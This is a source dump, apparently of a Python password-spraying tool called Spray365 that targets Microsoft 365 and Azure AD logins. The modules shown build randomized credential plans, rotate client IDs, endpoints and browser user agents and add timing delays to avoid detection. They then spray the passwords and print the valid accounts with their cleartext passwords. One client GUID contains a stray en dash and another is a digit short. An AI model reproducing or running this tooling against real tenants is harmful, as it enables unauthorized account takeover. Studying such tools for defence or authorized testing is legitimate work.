credentials" 123 | elif error_code == 53003: 124 | message = "Conditional access policy prevented access" 125 | else: 126 | message = "An unknown error occurred" 127 | 128 | return AuthError( 129 | timestamp, trace_id, correlation_id, message, error_code, raw_error_message 130 | ) 131 | 132 | 133 | def export_auth_results(auth_results: list[AuthResult]): 134 | export_file = "spray365_results_%s.json" % datetime.datetime.now().strftime( 135 | "%Y-%m-%d_%H-%M-%S" 136 | ) 137 | 138 | json_execution_plan = json.dumps(auth_results, default=lambda o: o.__dict__) 139 | 140 | with open(export_file, "w") as execution_plan_file: 141 | execution_plan_file.write(json_execution_plan) 142 | 143 | console.print_info("Authentication results saved to file '%s'" % export_file) 144 | -------------------------------------------------------------------------------- /modules/core/constants.py: -------------------------------------------------------------------------------- 1 | # Source for endpoint_ids and client_ids: https://github.com/Gerenios/AADInternals/blob/master/AccessToken_utils.ps1 2 | 3 | endpoint_ids = { 4 | "aad_graph_api": "https://graph.windows.net", 5 | "azure_mgmt_api": "https://management.azure.com", 6 | "cloudwebappproxy": "https://proxy.cloudwebappproxy.net/registerapp", 7 | "ms_graph_api": "https://graph.microsoft.com", 8 | "msmamservice": "https://msmamservice.api.application", 9 | "office_mgmt": "https://manage.office.com", 10 | "officeapps": "https://officeapps.live.com", 11 | "outlook": "https://outlook.office365.com", 12 | "sara": "https://api.diagnostics.office.com", 13 | "spacesapi": "https://api.spaces.skype.com", 14 | "webshellsuite": "https://webshell.suite.office.com", 15 | "windows_net_mgmt_api": "https://management.core.windows.net", 16 | } 17 | 18 | client_ids = { 19 | "aad_account": "0000000c-0000-0000-c000-000000000000", 20 | "aad_brokerplugin": "6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3", 21 | "aad_cloudap": "38aa3b87-a06d-4817-b275–7a316988d93b", 22 | "aad_join": "b90d5b8f-5503-4153-b545-b31cecfaece2", 23 | "aad_pinredemption": "06c6433f-4fb8-4670-b2cd-408938296b8e", 24 | "aadconnectv2": "6eb59a73-39b2-4c23-a70f-e2e3ce8965b1", 25 | "aadrm": "90f610bf-206d-4950-b61d-37fa6fd1b224", 26 | "aadsync": "cb1056e2-e479-49de-ae31-7812af012ed8", 27 | "adibizaux": "74658136-14ec-4630-ad9b-26e160ff0fc6", 28 | "apple_internetaccounts": "f8d98a96-0999-43f5-8af3-69971c7bb423", 29 | "az": "1950a258-227b-4e31-a9cf-717495945fc2", 30 | "azure_mgmt": "84070985-06ea-473d-82fe-eb82b4011c9d", 31 | "azure_mobileapp_android": "0c1307d4-29d6-4389-a11c-5cbe7f65d7fa", 32 | "azureadmin": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", 33 | "azuregraphclientint": "7492bca1-9461-4d94-8eb8-c17896c61205", 34 | "azuremdm": "29d9ed98-a469-4536-ade2-f981bc1d605e", 35 | "dynamicscrm": "00000007-0000-0000-c000-000000000000", 36 | "exo": "a0c73c16-a7e3-4564-9a95-2bdf47383716", 37 | "graph_api": "1b730954-1685-4b74-9bfd-dac224a7b894", 38 | "intune_mam": "6c7e8096-f593-4d72-807f-a5f86dcc9c77", 39 | "ms_authenticator": "4813382a-8fa7-425e-ab75-3b753aab3abb", 40 | "ms_myaccess": "19db86c3-b2b9-44cc-b339-36da233a3be2", 41 | "msdocs_tryit": "7f59a773-2eaf-429c-a059-50fc5bb28b44", 42 | "msmamservice": "27922004-5251-4030-b22d-91ecd9a37ea4", 43 | "o365exo": "00000002-0000-0ff1-ce00-000000000000", 44 | "o365spo": "00000003-0000-0ff1-ce00-000000000000", 45 | "o365suiteux": "4345a7b9-9a63-4910-a426-35363201d503", 46 | "office": "d3590ed6-52b3-4102-aeff-aad2292ab01c", 47 | "office_mgmt": "389b1b32-b5d5-43b2-bddc-84ce938d6737", 48 | "office_mgmt_mobile": "00b41c95-dab0-4487-9791-b9d2c32c80f2", 49 | "office_online": "bc59ab01-8403-45c6-8796-ac3ef710b3e3", 50 | "office_online2": "57fb890c-0dab-4253-a5e0-7188c88b2bb4", 51 | "onedrive": "ab9b8c07-8f02-4f72-87fa-80105867a763", 52 | "patnerdashboard": "4990cffe-04e8-4e8b-808a-1175604b879", 53 | "powerbi_contentpack": "2a0c3efa-ba54-4e55-bdc0-770f9e39e9ee", 54 | "pta": "cb1056e2-e479-49de-ae31-7812af012ed8", 55 | "sara": "d3590ed6-52b3-4102-aeff-aad2292ab01c", 56 | "skype": "d924a533-3729-4708-b3e8-1d2445af35e3", 57 | "sp_mgmt": "9bc3ab49-b65d-410a-85ad-de819febfddc", 58 | "synccli": "1651564e-7ce4-4d99-88be-0a65050d8dc3", 59 | "teams": "1fec8e78-bce4-4aaf-ab1b-5451cc387264", 60 | "teams_client": "1fec8e78-bce4-4aaf-ab1b-5451cc387264", 61 | "teamswebclient": "5e3ce6c0-2b1f-4285-8d4b-75ee78787346", 62 | "webshellsuite": "89bee1f7-5e6e-4d8a-9f3d-ecd601259da7", 63 | "windows_configdesigner": "de0853a1-ab20-47bd-990b-71ad5077ac7b", 64 | "www": "00000006-0000-0ff1-ce00-000000000000", 65 | } 66 | 67 | user_agents = { 68 | "android": "Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.50 Mobile Safari/537.36", 69 | "apple_iphone_safari": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1", 70 | "apple_mac_firefox": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0", 71 | "linux_firefox": "Mozilla/5.0 (X11; Linux i686; rv:94.0) Gecko/20100101 Firefox/94.0", 72 | "win_chrome_win10": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36", 73 | "win_ie11_win7": "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", 74 | "win_ie11_win8": "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko", 75 | "win_ie11_win8.1": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", 76 | "win_ie11_win10": "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko", 77 | "win_edge_win10": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44", 78 | } 79 | 80 | # Error codes that also indicate a successful login; see https://github.com/AzureAD/microsoft-authentication-library-for-dotnet/wiki/Client-Applications#common-invalid-client-errors 81 | auth_complete_success_error_codes = [7000218, 700016, 65001] 82 | 83 | auth_partial_success_error_codes = [50053, 50055, 50057, 50158, 50076, 53003] 84 | -------------------------------------------------------------------------------- /modules/review/review.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import json 4 | 5 | import click 6 | 7 | from modules.core.auth_result import AuthResult 8 | from modules.core.output import console 9 | from modules.review.helpers import decode_auth_result_item 10 | 11 | auth_results: list[AuthResult] = [] 12 | 13 | 14 | @click.command( 15 | "review", 16 | help="View data from password spraying results to identify valid accounts and more", 17 | ) 18 | @click.argument("results", type=click.File(mode="r"), required=True) 19 | @click.option("--show_invalid_creds", is_flag=True, default=False, show_default=True) 20 | @click.option("--show_invalid_users", is_flag=True, default=False, show_default=True) 21 | @click.option("--show_valid_aad_access", is_flag=True, default=False, show_default=True) 22 | def command( 23 | results: click.File, 24 | show_invalid_creds: bool, 25 | show_invalid_users: bool, 26 | show_valid_aad_access: bool, 27 | ): 28 | console.print_info("Reviewing Spray365 results from '%s'" % results.name) 29 | 30 | raw_auth_results = "" 31 | for line in results: 32 | raw_auth_results += line 33 | 34 | auth_results: list[AuthResult] = [] 35 | 36 | try: 37 | auth_results = json.loads(raw_auth_results, object_hook=decode_auth_result_item) 38 | except: 39 | console.print_error( 40 | "Unable to read results file '%s'. Perhaps it is formatted incorrectly?" 41 | % results.name 42 | ) 43 | 44 | valid_users: list[str] = [] 45 | invalid_users: list[str] = [] 46 | 47 | valid_creds: list[tuple[str, str]] = [] 48 | valid_creds_aad_details: dict[str, list[str]] = dict() 49 | partial_valid_auth_results: list[tuple[str, str, str]] = [] 50 | invalid_auth_results: list[tuple[str, str, str]] = [] 51 | 52 | for auth_result in auth_results: 53 | if auth_result.auth_complete_success: 54 | append_if_not_present(valid_users, auth_result.credential.email_address) 55 | append_if_not_present( 56 | valid_creds, 57 | (auth_result.credential.email_address, auth_result.credential.password), 58 | ) 59 | if auth_result.credential.endpoint[0] not in valid_creds_aad_details: 60 | valid_creds_aad_details[auth_result.credential.endpoint[0]] = [ 61 | auth_result.credential.client_id[0] 62 | ] 63 | else: 64 | if ( 65 | auth_result.credential.client_id[0] 66 | not in valid_creds_aad_details[auth_result.credential.endpoint[0]] 67 | ): 68 | valid_creds_aad_details[auth_result.credential.endpoint[0]].append( 69 | auth_result.credential.client_id[0] 70 | ) 71 | 72 | elif auth_result.auth_partial_success: 73 | append_if_not_present(valid_users, auth_result.credential.email_address) 74 | append_if_not_present( 75 | partial_valid_auth_results, 76 | ( 77 | auth_result.credential.email_address, 78 | auth_result.credential.password, 79 | auth_result.auth_error.message, 80 | ), 81 | ) 82 | else: 83 | if auth_result.auth_error.code != 50034: 84 | append_if_not_present(valid_users, auth_result.credential.email_address) 85 | else: 86 | append_if_not_present( 87 | invalid_users, auth_result.credential.email_address 88 | ) 89 | append_if_not_present( 90 | invalid_auth_results, 91 | ( 92 | auth_result.credential.email_address, 93 | auth_result.credential.password, 94 | auth_result.auth_error.message, 95 | ), 96 | ) 97 | 98 | console.print_info("%d authentication attempts" % len(auth_results)) 99 | 100 | console.print_info("%d valid user accounts:" % len(valid_users)) 101 | for email_address in valid_users: 102 | console.print_info("\t%s" % (email_address)) 103 | 104 | console.print_info("%d invalid (non-existent) user accounts:" % len(invalid_users)) 105 | if show_invalid_users: 106 | for email_address in invalid_users: 107 | console.print_info("\t%s" % (email_address)) 108 | else: 109 | console.print_info("\tOutput hidden. Show with --show_invalid_users") 110 | 111 | console.print_info("%d valid credentials:" % len(valid_creds)) 112 | for (email_address, password) in valid_creds: 113 | console.print_info("\t%s / %s" % (email_address, password)) 114 | 115 | if show_valid_aad_access: 116 | console.print_info( 117 | "%d AAD endpoints are accessible (endpoint / client):" 118 | % (len(valid_creds_aad_details)) 119 | ) 120 | for (endpoint, client_ids) in valid_creds_aad_details.items(): 121 | console.print_info("\t%s" % (endpoint)) 122 | for client_id in client_ids: 123 | console.print_info("\t\t%s" % (client_id)) 124 | 125 | console.print_info( 126 | "%d partial-valid credentials (likely due to MFA / Conditional Access Policy):" 127 | % len(partial_valid_auth_results) 128 | ) 129 | for (email_address, password, error_message) in partial_valid_auth_results: 130 | console.print_info("\t%s / %s: %s" % (email_address, password, error_message)) 131 | 132 | real_invalid_auth_result_count = sum( 133 | [1 if t[0] in valid_users else 0 for t in invalid_auth_results] 134 | ) 135 | 136 | console.print_info("%d invalid credentials:" % real_invalid_auth_result_count) 137 | if show_invalid_creds: 138 | for (email_address, password, error_message) in invalid_auth_results: 139 | if email_address in valid_users: 140 | console.print_info( 141 | "\t%s / %s: %s" % (email_address, password, error_message) 142 | ) 143 | else: 144 | console.print_info("\tOutput hidden. Show with --show_invalid_creds") 145 | 146 | 147 | def append_if_not_present(list: list[any], value: any) -> bool: 148 | if value in list: 149 | return False 150 | else: 151 | list.append(value) 152 | return True 153 | -------------------------------------------------------------------------------- /modules/spray/spray.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import datetime 4 | import json 5 | import time 6 | 7 | import click 8 | from click_option_group import AllOptionGroup, optgroup 9 | from colorama import Fore 10 | 11 | from modules.core.auth_result import AuthResult 12 | from modules.core.credential import Credential 13 | from modules.core.output import console 14 | from modules.generate import helpers as generate_helpers 15 | from modules.spray import helpers 16 | from modules.spray.helpers import decode_execution_plan_item 17 | from modules.spray.spray_exception_wrapper import SprayExceptionWrapper 18 | 19 | auth_results: list[AuthResult] = [] 20 | 21 | 22 | @click.command( 23 | "spray", 24 | cls=SprayExceptionWrapper, 25 | help="Password spray user accounts using an existing execution plan", 26 | ) 27 | @click.option( 28 | "--execution_plan", 29 | "-ep", 30 | help="File path to execution plan", 31 | metavar="", 32 | type=click.File(mode="r"), 33 | required=True, 34 | ) 35 | @click.option( 36 | "--lockout", 37 | "-l", 38 | metavar="", 39 | type=int, 40 | help="Number of account lockouts to observe before aborting spraying session (disable with 0)", 41 | default=5, 42 | show_default=True, 43 | ) 44 | @click.option( 45 | "--resume_index", 46 | "-R", 47 | metavar="", 48 | type=click.IntRange(1), 49 | help="Resume spraying passwords from this position in the execution plan", 50 | ) 51 | @click.option( 52 | "--ignore_success", 53 | "-i", 54 | metavar="", 55 | is_flag=True, 56 | help="Ignore successful authentication attempts for users and continue to spray creden" 57 | "tials. Setting this flag will enable spraying credentials for users even if Spra" 58 | "y365 has already identified valid credentials.", 59 | default=False, 60 | show_default=True, 61 | ) 62 | @optgroup.group("Proxy options", cls=AllOptionGroup) 63 | @optgroup.option( 64 | "--proxy", 65 | "-x", 66 | metavar="", 67 | type=str, 68 | help="HTTP Proxy URL (format: http[s]://proxy.address:port)", 69 | ) 70 | @optgroup.option( 71 | "--insecure", 72 | "-k", 73 | metavar="", 74 | is_flag=True, 75 | help="Disable HTTPS certificate verification", 76 | default=False, 77 | show_default=True, 78 | ) 79 | def command( 80 | execution_plan: click.File, lockout, resume_index, ignore_success, proxy, insecure 81 | ): 82 | console.print_info("Processing execution plan '%s'" % execution_plan.name) 83 | 84 | raw_execution_plan = "" 85 | 86 | for line in execution_plan: 87 | raw_execution_plan += line 88 | 89 | credentials: list[Credential] = [] 90 | 91 | try: 92 | credentials = json.loads( 93 | raw_execution_plan, object_hook=decode_execution_plan_item 94 | ) 95 | except: 96 | console.print_error( 97 | "Unable to process execution plan '%s'. Perhaps it is formatted incorrectly?" 98 | % execution_plan.name 99 | ) 100 | 101 | number_of_creds_to_spray = len(credentials) 102 | console.print_info( 103 | "Identified %d credentials in the provided execution plan" 104 | % number_of_creds_to_spray 105 | ) 106 | 107 | if resume_index and resume_index > number_of_creds_to_spray: 108 | console.print_error( 109 | "Resume index '%d' is larger than the number of credentials (%d) in the execution plan" 110 | % (resume_index, number_of_creds_to_spray) 111 | ) 112 | 113 | if resume_index: 114 | console.print_info( 115 | "Password spraying will continue with credential %d out of %d" 116 | % (resume_index, number_of_creds_to_spray) 117 | ) 118 | 119 | estimated_spray_duration = generate_helpers.get_spray_runtime( 120 | credentials[resume_index:] 121 | ) 122 | spray_completion_datetime = ( 123 | datetime.datetime.now() + datetime.timedelta(seconds=estimated_spray_duration) 124 | ).strftime("%Y-%m-%d %H:%M:%S") 125 | 126 | console.print_info( 127 | "Password spraying will take at least %d seconds, and should finish around %s" 128 | % (estimated_spray_duration, spray_completion_datetime) 129 | ) 130 | 131 | if lockout: 132 | console.print_info("Lockout threshold is set to %d accounts" % lockout) 133 | else: 134 | console.print_warning("Lockout threshold is disabled") 135 | 136 | if ignore_success: 137 | console.print_warning( 138 | "Ignore Success flag is enabled (this may cause lockouts!)" 139 | ) 140 | 141 | if proxy: 142 | console.print_info("Proxy (HTTP/HTTPS) set to '%s'" % proxy) 143 | 144 | console.print_info("Starting to spray credentials") 145 | 146 | spray_size = len(credentials) 147 | lockouts_observed = 0 148 | start_offset = resume_index - 1 if resume_index else 0 149 | 150 | credentialed_users: list[str] = [] 151 | 152 | for spray_idx in range(start_offset, len(credentials)): 153 | cred = credentials[spray_idx] 154 | 155 | # Only attempt authentication if we haven't observed valid credentials for the user 156 | if ignore_success or cred.username not in credentialed_users: 157 | _print_credential_authentication_output(cred, (spray_idx, spray_size)) 158 | time.sleep(cred.initial_delay) 159 | auth_result = helpers.authenticate_credential(cred, proxy, insecure) 160 | _print_credential_authentication_output( 161 | cred, (spray_idx, spray_size), auth_result 162 | ) 163 | auth_results.append(auth_result) 164 | 165 | if auth_result.auth_error and auth_result.auth_error.code == 50053: 166 | lockouts_observed += 1 167 | 168 | if lockout and lockouts_observed >= lockout: 169 | console.print_error( 170 | "Lockout threshold reached, aborting password spray" 171 | ) 172 | 173 | if auth_result.auth_complete_success: 174 | credentialed_users.append(cred.username) 175 | else: 176 | console.print_spray_output( 177 | spray_idx + 1, 178 | spray_size, 179 | cred.client_id[0], 180 | cred.endpoint[0], 181 | cred.user_agent[0], 182 | cred.username, 183 | cred.password, 184 | "%s (Skipped)" % Fore.BLUE, 185 | None, 186 | False, 187 | ) 188 | 189 | if spray_idx < spray_size - 1: 190 | time.sleep(cred.delay) 191 | 192 | spray_idx += 1 193 | 194 | helpers.export_auth_results(auth_results) 195 | 196 | 197 | def _print_credential_authentication_output( 198 | credential: Credential, 199 | spray_position: tuple[int, int], 200 | auth_result: AuthResult = None, 201 | ): 202 | if auth_result is None: 203 | status = "%s(waiting...)" % Fore.BLUE 204 | elif auth_result.auth_complete_success: 205 | status = "%s(Authentication Success)" % Fore.GREEN 206 | elif auth_result.auth_partial_success: 207 | status = "%s(Partial Success: %s)" % ( 208 | Fore.LIGHTYELLOW_EX, 209 | auth_result.auth_error.message, 210 | ) 211 | else: 212 | status = "%s(Failed: %s)" % (Fore.RED, auth_result.auth_error.message) 213 | 214 | line_terminator = "\r" if not auth_result else None 215 | flush_line = True if auth_result else False 216 | 217 | console.print_spray_output( 218 | spray_position[0] + 1, 219 | spray_position[1], 220 | credential.client_id[0], 221 | credential.endpoint[0], 222 | credential.user_agent[0], 223 | credential.username, 224 | credential.password, 225 | status, 226 | line_terminator, 227 | flush_line, 228 | ) 229 | -------------------------------------------------------------------------------- /modules/generate/helpers.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import itertools 4 | import random 5 | import typing 6 | from pathlib import Path 7 | from typing import Callable 8 | 9 | import click 10 | 11 | from modules.core.credential import Credential 12 | from modules.core.output import console 13 | from modules.generate.configuration import Configuration 14 | 15 | 16 | def check_if_execution_plan_exists(conf: Configuration): 17 | if Path(conf.execution_plan.name).exists(): 18 | console.print_error( 19 | "Unable to overwrite existing file '%s' with execution plan" 20 | % conf.execution_plan.name 21 | ) 22 | 23 | 24 | def get_users_and_passwords(conf: Configuration) -> tuple[list[str], list[str]]: 25 | user_list: list[str] = [] 26 | password_list: list[str] = [] 27 | for line_idx, line in enumerate(conf.user_file): 28 | line = line.rstrip() 29 | line_data = line.split(":", maxsplit=1) 30 | 31 | if len(line_data) != 2: 32 | raise click.BadParameter( 33 | "Invalid user:pass combo in user_file: '%s' on line %d" 34 | % (line, line_idx + 1) 35 | ) 36 | 37 | user_list.append(line_data[0]) 38 | password_list.append(line_data[1]) 39 | return (user_list, password_list) 40 | 41 | 42 | def get_passwords(conf: Configuration) -> list[str]: 43 | password_list: list[str] = [] 44 | if conf.password_file: 45 | for line in conf.password_file: 46 | line = line.rstrip() 47 | password_list.append(line) 48 | elif conf.password: 49 | password_list.append(conf.password) 50 | 51 | return password_list 52 | 53 | 54 | def get_users(conf: Configuration) -> list[str]: 55 | user_list: list[str] = [] 56 | for line in conf.user_file: 57 | line = line.rstrip() 58 | user_list.append(line) 59 | return user_list 60 | 61 | 62 | def get_custom_aad_values(prefix: str, input_values: list[str]) -> dict[str, str]: 63 | result = {} 64 | for i in range(len(input_values)): 65 | result["%s%d" % (prefix, i + 1)] = input_values[i] 66 | return result 67 | 68 | 69 | def get_credentials_dict_by_key( 70 | credentials_list: list[Credential], grouping_func 71 | ) -> dict[str, list[Credential]]: 72 | sorted_combinations = sorted(credentials_list, key=grouping_func) 73 | 74 | grouped_combinations = {} 75 | for key, value in itertools.groupby(sorted_combinations, grouping_func): 76 | grouped_combinations[key] = list(value) 77 | return grouped_combinations 78 | 79 | 80 | def _insert_random_initial_delays( 81 | credentials: dict[str, list[Credential]], min_delay 82 | ) -> None: 83 | for spray_group in list(credentials.keys())[1:]: 84 | for cred_idx, cred in enumerate(credentials[spray_group]): 85 | previous_cred_vals = next( 86 | ( 87 | (c_idx, c) 88 | for c_idx, c in enumerate(credentials[spray_group - 1]) 89 | if c.username == cred.username 90 | ), 91 | None, 92 | ) 93 | previous_cred_idx = previous_cred_vals[0] 94 | 95 | previous_group_delays = sum( 96 | [ 97 | c.delay + c.initial_delay 98 | for c in credentials[spray_group - 1][previous_cred_idx:] 99 | ] 100 | ) 101 | current_group_delays = sum( 102 | [c.delay + c.initial_delay for c in credentials[spray_group][:cred_idx]] 103 | ) 104 | prior_delays = previous_group_delays + current_group_delays 105 | 106 | if prior_delays < min_delay: 107 | additional_needed_delay = min_delay - prior_delays 108 | cred.initial_delay = additional_needed_delay 109 | 110 | 111 | # TODO: Replace typing.Union below with modern Union added in PEP 604 (Python 3.10+) 112 | def get_spray_runtime( 113 | credentials: typing.Union[ 114 | typing.List[Credential], typing.Dict[int, list[Credential]] 115 | ] 116 | ) -> int: 117 | runtime = 0 118 | if type(credentials) is dict: 119 | for (idx, credentials) in credentials.items(): 120 | runtime += get_spray_runtime(credentials) 121 | return runtime 122 | elif type(credentials) is list: 123 | runtime = sum( 124 | [credential.delay + credential.initial_delay for credential in credentials] 125 | ) 126 | return runtime 127 | 128 | 129 | def get_credentials( 130 | conf: Configuration, 131 | users: list[str], 132 | passwords: list[str], 133 | aad_clients: dict[str, str], 134 | aad_endpoints: dict[str, str], 135 | user_agents: dict[str, str], 136 | user_and_password_pairs: bool = False, 137 | ) -> list[Credential]: 138 | if any("@" in username or "\\" in username for username in users): 139 | console.print_error( 140 | "Username encountered in a format like a UPN (user@domain.com) or samAccountName (domain.com\\user). Expected just username." 141 | ) 142 | 143 | unique_users = list(dict.fromkeys(users)) 144 | 145 | if user_and_password_pairs: 146 | if len(users) != len(passwords): 147 | console.print_error( 148 | "Unable to generate credentials from different sized lists" 149 | ) 150 | source_data = zip(unique_users, passwords) 151 | else: 152 | source_data = itertools.product(unique_users, passwords) 153 | 154 | results = [] 155 | client_id_values = list(aad_clients.items()) 156 | endpoint_id_values = list(aad_endpoints.items()) 157 | user_agent_values = list(user_agents.items()) 158 | 159 | for (username, password) in source_data: 160 | username = username.strip() 161 | results.append( 162 | Credential( 163 | conf.domain, 164 | username, 165 | password, 166 | random.choice(client_id_values), 167 | random.choice(endpoint_id_values), 168 | random.choice(user_agent_values), 169 | conf.delay, 170 | ) 171 | ) 172 | 173 | return results 174 | 175 | 176 | def get_credential_products( 177 | conf: Configuration, 178 | users: list[str], 179 | passwords: list[str], 180 | aad_clients: dict[str, str], 181 | aad_endpoints: dict[str, str], 182 | user_agents: dict[str, str], 183 | user_and_password_pairs: bool = False, 184 | ) -> list[Credential]: 185 | if any("@" in username or "\\" in username for username in users): 186 | console.print_error( 187 | "Username encountered in a format like a UPN (user@domain.com) or samAccountName (domain.com\\user). Expected just username." 188 | ) 189 | 190 | unique_users = list(dict.fromkeys(users)) 191 | 192 | if user_and_password_pairs: 193 | if len(users) != len(passwords): 194 | console.print_error( 195 | "Unable to generate credentials from different sized lists" 196 | ) 197 | username_pass_data = zip(unique_users, passwords) 198 | else: 199 | username_pass_data = itertools.product(unique_users, passwords) 200 | 201 | results = [] 202 | client_id_values = list(aad_clients.items()) 203 | endpoint_id_values = list(aad_endpoints.items()) 204 | user_agent_values = list(user_agents.items()) 205 | 206 | source_data = itertools.product( 207 | username_pass_data, client_id_values, endpoint_id_values, user_agent_values 208 | ) 209 | 210 | for ((username, password), aad_client, aad_endpoint, user_agent) in source_data: 211 | results.append( 212 | Credential( 213 | conf.domain, 214 | username, 215 | password, 216 | aad_client, 217 | aad_endpoint, 218 | user_agent, 219 | conf.delay, 220 | ) 221 | ) 222 | 223 | return results 224 | 225 | 226 | def get_shuffled_credentials( 227 | conf: Configuration, credentials: list[Credential] 228 | ) -> dict[str, list[Credential]]: 229 | temp_auth_creds = {} 230 | possible_auth_creds: dict[int, tuple[int, list[Credential]]] = {} 231 | 232 | username_grouping_func: Callable[ 233 | [Credential], bool 234 | ] = lambda credential: credential.username 235 | 236 | for i in range(0, conf.shuffle_optimization_attempts): 237 | console.print_info( 238 | "Generated potential execution plan %d/%d" 239 | % (i + 1, conf.shuffle_optimization_attempts) 240 | ) 241 | credentials_by_user = get_credentials_dict_by_key( 242 | credentials, username_grouping_func 243 | ) 244 | 245 | for user in credentials_by_user.keys(): 246 | random.shuffle(credentials_by_user[user]) 247 | 248 | group_index = 0 249 | while sum([len(u) for u in credentials_by_user.values()]) > 0: 250 | cred_grouping = [] 251 | users = [user for user, creds in credentials_by_user.items() if len(creds)] 252 | random.shuffle(users) 253 | 254 | while users: 255 | random_user_index = random.randrange(0, len(users)) 256 | user = users.pop(random_user_index) 257 | 258 | random_cred_index = random.randrange(0, len(credentials_by_user[user])) 259 | random_cred = credentials_by_user[user].pop(random_cred_index) 260 | 261 | cred_grouping.append(random_cred) 262 | temp_auth_creds[group_index] = cred_grouping 263 | group_index += 1 264 | 265 | _insert_random_initial_delays(temp_auth_creds, conf.min_loop_delay) 266 | 267 | spray_runtime = get_spray_runtime(temp_auth_creds) 268 | possible_auth_creds[i] = (spray_runtime, temp_auth_creds) 269 | 270 | runtimes = [ 271 | (spray_attempt[1][0], spray_attempt[0]) 272 | for spray_attempt in possible_auth_creds.items() 273 | ] 274 | fastest_runtime = min(runtimes) 275 | slowest_runtime = max(runtimes) 276 | 277 | console.print_info( 278 | "Optimal execution plan identified (#%d)" % (fastest_runtime[1] + 1) 279 | ) 280 | console.print_info( 281 | "Spraying will take %d seconds, %d seconds faster than the slowest execution plan generated" 282 | % (fastest_runtime[0], (slowest_runtime[0] - fastest_runtime[0])) 283 | ) 284 | console.print_info( 285 | "This random execution plan will take %d seconds longer than spraying with a simple (non-random) execution plan" 286 | % (fastest_runtime[0] - (len(credentials) * conf.delay)) 287 | ) 288 | 289 | return possible_auth_creds[fastest_runtime[1]][1] 290 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |  2 | 3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |